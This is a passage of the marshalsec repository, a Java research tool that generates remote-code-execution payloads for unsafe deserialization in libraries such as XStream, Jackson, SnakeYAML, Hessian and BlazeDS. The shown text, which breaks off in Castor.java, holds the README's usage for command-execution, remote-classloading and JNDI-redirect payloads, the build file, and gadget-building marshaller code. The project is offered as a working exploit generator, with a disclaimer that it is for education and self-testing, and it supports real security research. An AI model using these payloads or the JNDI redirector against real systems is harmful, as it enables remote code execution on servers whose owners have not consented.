├── .gitignore ├── LICENSE.txt ├── README.md ├── marshalsec.pdf ├── pom.xml └── src ├── main └── java │ └── marshalsec │ ├── BlazeDSAMF0.java │ ├── BlazeDSAMF3.java │ ├── BlazeDSAMFX.java │ ├── BlazeDSBase.java │ ├── BlazeDSExternalizableBase.java │ ├── Burlap.java │ ├── Castor.java │ ├── EscapeType.java │ ├── Hessian.java │ ├── HessianBase.java │ ├── JYAML.java │ ├── Jackson.java │ ├── Java.java │ ├── JsonIO.java │ ├── Kryo.java │ ├── KryoAltStrategy.java │ ├── MarshallerBase.java │ ├── Red5AMF0.java │ ├── Red5AMF3.java │ ├── Red5AMFBase.java │ ├── SideEffectSecurityManager.java │ ├── SnakeYAML.java │ ├── TestingSecurityManager.java │ ├── UtilFactory.java │ ├── XStream.java │ ├── YAMLBase.java │ ├── YAMLBeans.java │ ├── gadgets │ ├── Args.java │ ├── BindingEnumeration.java │ ├── C3P0RefDataSource.java │ ├── C3P0WrapperConnPool.java │ ├── ClassFiles.java │ ├── CommonsBeanutils.java │ ├── CommonsConfiguration.java │ ├── Gadget.java │ ├── GadgetType.java │ ├── Groovy.java │ ├── ImageIO.java │ ├── JDKUtil.java │ ├── JdbcRowSet.java │ ├── LazySearchEnumeration.java │ ├── MockProxies.java │ ├── Primary.java │ ├── Resin.java │ ├── Rome.java │ ├── ScriptEngine.java │ ├── ServiceLoader.java │ ├── SpringAbstractBeanFactoryPointcutAdvisor.java │ ├── SpringPartiallyComparableAdvisorHolder.java │ ├── SpringPropertyPathFactory.java │ ├── SpringUtil.java │ ├── TemplatesUtil.java │ ├── ToStringUtil.java │ ├── UnicastRefGadget.java │ ├── UnicastRemoteObjectGadget.java │ └── XBean.java │ ├── jndi │ ├── LDAPRefServer.java │ └── RMIRefServer.java │ └── util │ └── Reflections.java └── test └── java └── GadgetsTest.java /.gitignore: -------------------------------------------------------------------------------- 1 | .classpath 2 | .settings 3 | .project 4 | target 5 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Java Unmarshaller Security - Turning your data into code execution 2 | 3 | ## Paper 4 | 5 | It's been more than two years since Chris Frohoff and Garbriel Lawrence have presented their research into Java object deserialization vulnerabilities ultimately resulting in what can be readily described as the biggest wave of remote code execution bugs in Java history. 6 | 7 | Research into that matter indicated that these vulnerabilities are not exclusive to mechanisms as expressive as Java serialization or XStream, but some could possibly be applied to other mechanisms as well. 8 | 9 | This paper presents an analysis, including exploitation details, of various Java open-source marshalling libraries that allow(ed) for unmarshalling of arbitrary, attacker supplied, types and shows that no matter how this process is performed and what implicit constraints are in place it is prone to similar exploitation techniques. 10 | 11 | Full paper is at [marshalsec.pdf](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true) 12 | 13 | ## Disclaimer 14 | 15 | All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities. 16 | 17 | ## Usage 18 | 19 | Java 8 required. Build using maven ```mvn clean package -DskipTests```. Run as 20 | 21 | ```shell 22 | java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec. [-a] [-v] [-t] [ []] 23 | ``` 24 | 25 | where 26 | 27 | * **-a** - generates/tests all payloads for that marshaller 28 | * **-t** - runs in test mode, unmarshalling the generated payloads after generating them. 29 | * **-v** - verbose mode, e.g. also shows the generated payload in test mode. 30 | * **gadget_type** - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller. 31 | * **arguments** - Gadget specific arguments 32 | 33 | Payload generators for the following marshallers are included:
34 | 35 | | Marshaller | Gadget Impact 36 | | ------------------------------- | ---------------------------------------------- 37 | | BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization
various third party libraries RCEs 38 | | Hessian|Burlap | various third party RCEs 39 | | Castor | dependency library RCE 40 | | Jackson | **possible JDK only RCE**, various third party RCEs 41 | | Java | yet another third party RCE 42 | | JsonIO | **JDK only RCE** 43 | | JYAML | **JDK only RCE** 44 | | Kryo | third party RCEs 45 | | KryoAltStrategy | **JDK only RCE** 46 | | Red5AMF(0|3) | **JDK only RCE** 47 | | SnakeYAML | **JDK only RCEs** 48 | | XStream | **JDK only RCEs** 49 | | YAMLBeans | third party RCE 50 | 51 | ## Arguments and additional prerequisites 52 | 53 | ### System Command Execution 54 | 55 | * **cmd** - command to execute 56 | * **args...** - additional parameters passed as arguments 57 | 58 | No prerequisites. 59 | 60 | ### Remote Classloading (plain) 61 | 62 | * **codebase** - URL to remote codebase 63 | * **class** - Class to load 64 | 65 | **Prerequisites**: 66 | 67 | * Set up a webserver hosting a Java classpath under some path. 68 | * Compiled class files to load need to be served according to Java classpath conventions. 69 | 70 | ### Remote Classloading (ServiceLoader) 71 | 72 | * **service_codebase** - URL to remote codebase 73 | 74 | The service to load is currently hardcoded to *javax.script.ScriptEngineFactory*. 75 | 76 | **Prerequisites**: 77 | 78 | * Same as plain remote classloading. 79 | * Also needs a provider-configuration file at **/META-INF/javax.script.ScriptEngineFactory 80 | containing the targeted class name in plain text. 81 | * Target class specified there needs to implement the service interface *javax.script.ScriptEngineFactory*. 82 | 83 | 84 | ### JNDI Reference indirection 85 | 86 | * **jndiUrl** - JNDI URL to trigger lookup on 87 | 88 | 89 | **Prerequisites**: 90 | 91 | * Set up a remote codebase, same as remote classloading. 92 | * Run a JNDI reference redirector service pointing to that codebase - 93 | two implementations are included: *marshalsec.jndi.LDAPRefServer* and *RMIRefServer*. 94 | 95 | ```java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer # []``` 96 | 97 | * Use (ldap|rmi)://*host*:*port*/obj as the *jndiUrl*, pointing to that service's listening address. 98 | 99 | ## Running tests 100 | 101 | There are a couple of system properties that control the arguments when running tests (through maven or when using **-a**) 102 | 103 | * **exploit.codebase**, defaults to *http://localhost:8080/* 104 | * **exploit.codebaseClass**, defaults to *Exploit* 105 | * **exploit.jndiUrl**, defaults to *ldap://localhost:1389/obj* 106 | * **exploit.exec**, defaults to */usr/bin/gedit* 107 | 108 | Tests run with a SecurityManager installed that checks for system command execution as well as code executing from remote codebases. 109 | For that to work the loaded class in use must trigger some security manager check. 110 | 111 | 112 | 113 | -------------------------------------------------------------------------------- /marshalsec.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/frohoff/marshalsec/9f98889533b1523a3a5634f0cc61db56331bc15f/marshalsec.pdf -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | org.eenterphace.mbechler 5 | marshalsec 6 | 0.0.1-SNAPSHOT 7 | 8 | 9 | 1.8 10 | 1.8 11 | UTF-8 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | org.javassist 20 | javassist 21 | 3.19.0-GA 22 | 23 | 24 | 25 | org.reflections 26 | reflections 27 | 0.9.9 28 | 29 | 30 | 31 | org.slf4j 32 | slf4j-nop 33 | 1.7.24 34 | 35 | 36 | 37 | 38 | junit 39 | junit 40 | 4.12 41 | test 42 | 43 | 44 | 45 | 46 | com.unboundid 47 | unboundid-ldapsdk 48 | 3.1.1 49 | 50 | 51 | 52 | 53 | 54 | 55 | org.apache.flex.blazeds 56 | flex-messaging-core 57 | 4.7.2 58 | 59 | 60 | 61 | org.red5 62 | red5-io 63 | 1.0.7-RELEASE 64 | 65 | 66 | ch.qos.logback 67 | logback-classic 68 | 69 | 70 | ch.qos.logback 71 | logback-core 72 | 73 | 74 | org.apache.mina 75 | mina-core 76 | 77 | 78 | org.apache.mina 79 | mina-integration-jmx 80 | 81 | 82 | org.apache.mina 83 | mina-integration-beans 84 | 85 | 86 | org.apache.tika 87 | tika-core 88 | 89 | 90 | org.apache.tika 91 | tika-parsers 92 | 93 | 94 | org.springframework 95 | spring-web 96 | 97 | 98 | net.sf.ehcache 99 | ehcache-core 100 | 101 | 102 | com.googlecode.mp4parser 103 | isoparser 104 | 105 | 106 | xerces 107 | xercesImpl 108 | 109 | 110 | 111 | 112 | 113 | org.apache.mina 114 | mina-core 115 | 2.0.16 116 | 117 | 118 | 119 | com.esotericsoftware 120 | kryo 121 | 4.0.0 122 | 123 | 124 | 125 | com.thoughtworks.xstream 126 | xstream 127 | 1.4.9 128 | 129 | 130 | 131 | com.fasterxml.jackson.core 132 | jackson-databind 133 | 2.8.3 134 | 135 | 136 | 137 | com.esotericsoftware.yamlbeans 138 | yamlbeans 139 | 1.09 140 | 141 | 142 | 143 | org.yaml 144 | snakeyaml 145 | 1.17 146 | 147 | 148 | 149 | org.jyaml 150 | jyaml 151 | 1.3 152 | 153 | 154 | 155 | com.cedarsoftware 156 | json-io 157 | 4.9.1 158 | 159 | 160 | 161 | com.caucho 162 | hessian 163 | 4.0.38 164 | 165 | 166 | 167 | org.codehaus.castor 168 | castor-xml 169 | 1.4.1 170 | 171 | 172 | 173 | 174 | org.codehaus.groovy 175 | groovy-all 176 | 2.4.9 177 | 178 | 179 | 180 | org.springframework 181 | spring-beans 182 | 4.3.7.RELEASE 183 | 184 | 185 | 186 | org.springframework 187 | spring-context 188 | 4.3.7.RELEASE 189 | 190 | 191 | 192 | org.springframework 193 | spring-aop 194 | 4.3.7.RELEASE 195 | 196 | 197 | 198 | org.aspectj 199 | aspectjweaver 200 | 1.8.6 201 | 202 | 203 | 204 | com.rometools 205 | rome 206 | 1.7.0 207 | 208 | 209 | 210 | org.apache.xbean 211 | xbean-naming 212 | 4.5 213 | 214 | 215 | 216 | com.mchange 217 | c3p0 218 | 0.9.5.2 219 | 220 | 221 | 222 | 223 | javax.json 224 | javax.json-api 225 | 1.0 226 | 227 | 228 | org.apache.johnzon 229 | johnzon-core 230 | 0.9.5 231 | 232 | 233 | 234 | 235 | com.google.inject 236 | guice 237 | 4.1.0 238 | 239 | 240 | 241 | 242 | 243 | com.caucho 244 | quercus 245 | 4.0.45 246 | 247 | 248 | 249 | 250 | commons-configuration 251 | commons-configuration 252 | 1.10 253 | 254 | 255 | 256 | 257 | 258 | 259 | org.apache.maven.plugins 260 | maven-surefire-plugin 261 | 2.19.1 262 | 263 | 264 | maven-assembly-plugin 265 | 266 | ${project.artifactId}-${project.version}-all 267 | false 268 | 269 | jar-with-dependencies 270 | 271 | 272 | 273 | 274 | make-assembly 275 | package 276 | 277 | single 278 | 279 | 280 | 281 | 282 | 283 | 284 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/BlazeDSAMF0.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import flex.messaging.io.SerializationContext; 27 | import flex.messaging.io.amf.AbstractAmfInput; 28 | import flex.messaging.io.amf.AbstractAmfOutput; 29 | import flex.messaging.io.amf.Amf0Input; 30 | import flex.messaging.io.amf.Amf0Output; 31 | 32 | 33 | /** 34 | * @author mbechler 35 | * 36 | */ 37 | public class BlazeDSAMF0 extends BlazeDSBase { 38 | 39 | /** 40 | * {@inheritDoc} 41 | * 42 | * @see marshalsec.AbstractBlazeDSBase#createOutput(flex.messaging.io.SerializationContext) 43 | */ 44 | @Override 45 | protected AbstractAmfOutput createOutput ( SerializationContext sc ) { 46 | return new Amf0Output(sc); 47 | } 48 | 49 | 50 | /** 51 | * {@inheritDoc} 52 | * 53 | * @see marshalsec.AbstractBlazeDSBase#createInput(flex.messaging.io.SerializationContext) 54 | */ 55 | @Override 56 | protected AbstractAmfInput createInput ( SerializationContext sc ) { 57 | return new Amf0Input(sc); 58 | } 59 | 60 | 61 | public static void main ( String[] args ) { 62 | new BlazeDSAMF0().run(args); 63 | } 64 | 65 | } 66 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/BlazeDSAMF3.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import flex.messaging.io.SerializationContext; 27 | import flex.messaging.io.amf.AbstractAmfInput; 28 | import flex.messaging.io.amf.AbstractAmfOutput; 29 | import flex.messaging.io.amf.Amf3Input; 30 | import flex.messaging.io.amf.Amf3Output; 31 | 32 | 33 | /** 34 | * @author mbechler 35 | * 36 | */ 37 | public class BlazeDSAMF3 extends BlazeDSExternalizableBase { 38 | 39 | /** 40 | * {@inheritDoc} 41 | * 42 | * @see marshalsec.AbstractBlazeDSBase#createOutput(flex.messaging.io.SerializationContext) 43 | */ 44 | @Override 45 | protected AbstractAmfOutput createOutput ( SerializationContext sc ) { 46 | return new Amf3Output(sc); 47 | } 48 | 49 | 50 | /** 51 | * {@inheritDoc} 52 | * 53 | * @see marshalsec.AbstractBlazeDSBase#createInput(flex.messaging.io.SerializationContext) 54 | */ 55 | @Override 56 | protected AbstractAmfInput createInput ( SerializationContext sc ) { 57 | return new Amf3Input(sc); 58 | } 59 | 60 | 61 | public static void main ( String[] args ) { 62 | new BlazeDSAMF3().run(args); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/BlazeDSAMFX.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.io.ByteArrayInputStream; 27 | import java.io.ByteArrayOutputStream; 28 | 29 | import flex.messaging.io.SerializationContext; 30 | import flex.messaging.io.amf.AbstractAmfInput; 31 | import flex.messaging.io.amf.AbstractAmfOutput; 32 | import flex.messaging.io.amf.ActionMessage; 33 | import flex.messaging.io.amf.MessageHeader; 34 | import flex.messaging.io.amfx.AmfxMessageDeserializer; 35 | import flex.messaging.io.amfx.AmfxMessageSerializer; 36 | 37 | 38 | /** 39 | * @author mbechler 40 | * 41 | */ 42 | public class BlazeDSAMFX extends BlazeDSExternalizableBase { 43 | 44 | /** 45 | * {@inheritDoc} 46 | * 47 | * @see marshalsec.MarshallerBase#marshal(java.lang.Object) 48 | */ 49 | @Override 50 | public byte[] marshal ( Object o ) throws Exception { 51 | SerializationContext sc = new SerializationContext(); 52 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 53 | AmfxMessageSerializer out = new AmfxMessageSerializer(); 54 | out.initialize(sc, bos, null); 55 | ActionMessage m = new ActionMessage(); 56 | m.addHeader(new MessageHeader("foo", false, o)); 57 | out.writeMessage(m); 58 | return bos.toByteArray(); 59 | } 60 | 61 | 62 | /** 63 | * {@inheritDoc} 64 | * 65 | * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) 66 | */ 67 | @Override 68 | public Object unmarshal ( byte[] data ) throws Exception { 69 | SerializationContext sc = new SerializationContext(); 70 | AmfxMessageDeserializer amfxMessageDeserializer = new AmfxMessageDeserializer(); 71 | amfxMessageDeserializer.initialize(sc, new ByteArrayInputStream(data), null); 72 | ActionMessage m = new ActionMessage(); 73 | amfxMessageDeserializer.readMessage(m, null); 74 | return m.getHeader(0).getData(); 75 | } 76 | 77 | 78 | @Override 79 | protected AbstractAmfOutput createOutput ( SerializationContext sc ) { 80 | return null; 81 | } 82 | 83 | 84 | @Override 85 | protected AbstractAmfInput createInput ( SerializationContext sc ) { 86 | return null; 87 | } 88 | 89 | 90 | public static void main ( String[] args ) { 91 | new BlazeDSAMFX().run(args); 92 | } 93 | 94 | } 95 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/BlazeDSBase.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.io.ByteArrayInputStream; 27 | import java.io.ByteArrayOutputStream; 28 | import java.util.ArrayList; 29 | import java.util.Arrays; 30 | import java.util.Collections; 31 | import java.util.LinkedHashMap; 32 | import java.util.List; 33 | import java.util.Map; 34 | 35 | import org.springframework.beans.factory.config.PropertyPathFactoryBean; 36 | import org.springframework.jndi.support.SimpleJndiBeanFactory; 37 | 38 | import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; 39 | 40 | import flex.messaging.io.BeanProxy; 41 | import flex.messaging.io.SerializationContext; 42 | import flex.messaging.io.amf.AbstractAmfInput; 43 | import flex.messaging.io.amf.AbstractAmfOutput; 44 | import marshalsec.gadgets.Args; 45 | import marshalsec.gadgets.C3P0WrapperConnPool; 46 | import marshalsec.gadgets.SpringPropertyPathFactory; 47 | import marshalsec.util.Reflections; 48 | 49 | 50 | /** 51 | * 52 | * Not applicable: 53 | * - C3P0RefDataSource as a public constructor is required 54 | * - JdbcRowSet as there is custom conversion for RowSet sub-types 55 | * 56 | * @author mbechler 57 | * 58 | */ 59 | public abstract class BlazeDSBase extends MarshallerBase implements C3P0WrapperConnPool, SpringPropertyPathFactory { 60 | 61 | /** 62 | * {@inheritDoc} 63 | * 64 | * @see marshalsec.MarshallerBase#marshal(java.lang.Object) 65 | */ 66 | @Override 67 | public byte[] marshal ( Object o ) throws Exception { 68 | SerializationContext sc = new SerializationContext(); 69 | ByteArrayOutputStream bos = new ByteArrayOutputStream(); 70 | try ( AbstractAmfOutput out = createOutput(sc) ) { 71 | out.setOutputStream(bos); 72 | out.writeObject(o); 73 | return bos.toByteArray(); 74 | } 75 | } 76 | 77 | 78 | protected abstract AbstractAmfOutput createOutput ( SerializationContext sc ); 79 | 80 | 81 | /** 82 | * {@inheritDoc} 83 | * 84 | * @see marshalsec.MarshallerBase#unmarshal(java.lang.Object) 85 | */ 86 | @Override 87 | public Object unmarshal ( byte[] data ) throws Exception { 88 | SerializationContext sc = new SerializationContext(); 89 | try ( AbstractAmfInput in = createInput(sc) ) { 90 | in.setInputStream(new ByteArrayInputStream(data)); 91 | return in.readObject(); 92 | } 93 | } 94 | 95 | 96 | @Override 97 | @Args ( minArgs = 2, args = { 98 | "codebase", "class" 99 | }, defaultArgs = { 100 | MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass 101 | } ) 102 | public Object makeWrapperConnPool ( UtilFactory uf, String[] args ) throws Exception { 103 | return new PropertyInjectingProxy( 104 | Reflections.createWithoutConstructor(WrapperConnectionPoolDataSource.class), 105 | Collections.singletonMap("userOverridesAsString", C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ]))); 106 | } 107 | 108 | 109 | @Override 110 | @Args ( minArgs = 1, args = { 111 | "jndiUrl" 112 | }, defaultArgs = { 113 | MarshallerBase.defaultJNDIUrl 114 | } ) 115 | public Object makePropertyPathFactory ( UtilFactory uf, String[] args ) throws Exception { 116 | String jndiUrl = args[ 0 ]; 117 | PropertyInjectingProxy bfproxy = new PropertyInjectingProxy( 118 | new SimpleJndiBeanFactory(), 119 | Collections.singletonMap("shareableResources", Arrays.asList(jndiUrl) // this would actually be an array, 120 | // but AMFX has some trouble with 121 | // non-readable array properties 122 | )); 123 | 124 | Map values = new LinkedHashMap<>(); 125 | values.put("targetBeanName", jndiUrl); 126 | values.put("propertyPath", "foo"); 127 | values.put("beanFactory", bfproxy); 128 | return new PropertyInjectingProxy(new PropertyPathFactoryBean(), values); 129 | } 130 | 131 | 132 | protected abstract AbstractAmfInput createInput ( SerializationContext sc ); 133 | 134 | /** 135 | * 136 | * Bean proxy to support partial marshalling as well as ordering of properties and setting write-only properties 137 | * 138 | * @author mbechler 139 | * 140 | */ 141 | public final class PropertyInjectingProxy extends BeanProxy { 142 | 143 | private static final long serialVersionUID = 4559272383186706846L; 144 | private Map values; 145 | 146 | 147 | public PropertyInjectingProxy ( Object defaultInstance, Map v ) { 148 | super(defaultInstance); 149 | this.values = v; 150 | } 151 | 152 | 153 | @Override 154 | public List getPropertyNames ( Object instance ) { 155 | List l = super.getPropertyNames(instance); 156 | l.addAll(this.values.keySet()); 157 | return new ArrayList<>(this.values.keySet()); 158 | } 159 | 160 | 161 | @Override 162 | public boolean isWriteOnly ( Object instance, String propertyName ) { 163 | if ( this.values.containsKey(propertyName) ) { 164 | return false; 165 | } 166 | return super.isWriteOnly(instance, propertyName); 167 | } 168 | 169 | 170 | @Override 171 | public Object getValue ( Object instance, String propertyName ) { 172 | if ( this.values.containsKey(propertyName) ) { 173 | return this.values.get(propertyName); 174 | } 175 | return super.getValue(instance, propertyName); 176 | } 177 | } 178 | } 179 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/BlazeDSExternalizableBase.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import marshalsec.gadgets.UnicastRefGadget; 27 | 28 | 29 | /** 30 | * @author mbechler 31 | * 32 | */ 33 | public abstract class BlazeDSExternalizableBase extends BlazeDSBase implements UnicastRefGadget { 34 | 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/Burlap.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | */ 23 | package marshalsec; 24 | 25 | 26 | import java.io.ByteArrayInputStream; 27 | import java.io.ByteArrayOutputStream; 28 | 29 | import com.caucho.burlap.io.BurlapInput; 30 | import com.caucho.burlap.io.BurlapOutput; 31 | import com.caucho.hessian.io.AbstractHessianInput; 32 | import com.caucho.hessian.io.AbstractHessianOutput; 33 | 34 | 35 | /** 36 | * @author mbechler 37 | * 38 | */ 39 | public class Burlap extends HessianBase { 40 | 41 | /** 42 | * {@inheritDoc} 43 | * 44 | * @see marshalsec.AbstractHessianBase#createOutput(java.io.ByteArrayOutputStream) 45 | */ 46 | @Override 47 | protected AbstractHessianOutput createOutput ( ByteArrayOutputStream bos ) { 48 | return new BurlapOutput(bos); 49 | } 50 | 51 | 52 | /** 53 | * {@inheritDoc} 54 | * 55 | * @see marshalsec.AbstractHessianBase#createInput(java.io.ByteArrayInputStream) 56 | */ 57 | @Override 58 | protected AbstractHessianInput createInput ( ByteArrayInputStream bos ) { 59 | return new BurlapInput(bos); 60 | } 61 | 62 | 63 | public static void main ( String[] args ) { 64 | new Burlap().run(args); 65 | } 66 | 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/marshalsec/Castor.java: -------------------------------------------------------------------------------- 1 | /* MIT License 2 | 3 | Copyright (c) 2017 Moritz Bechler 4 | 5 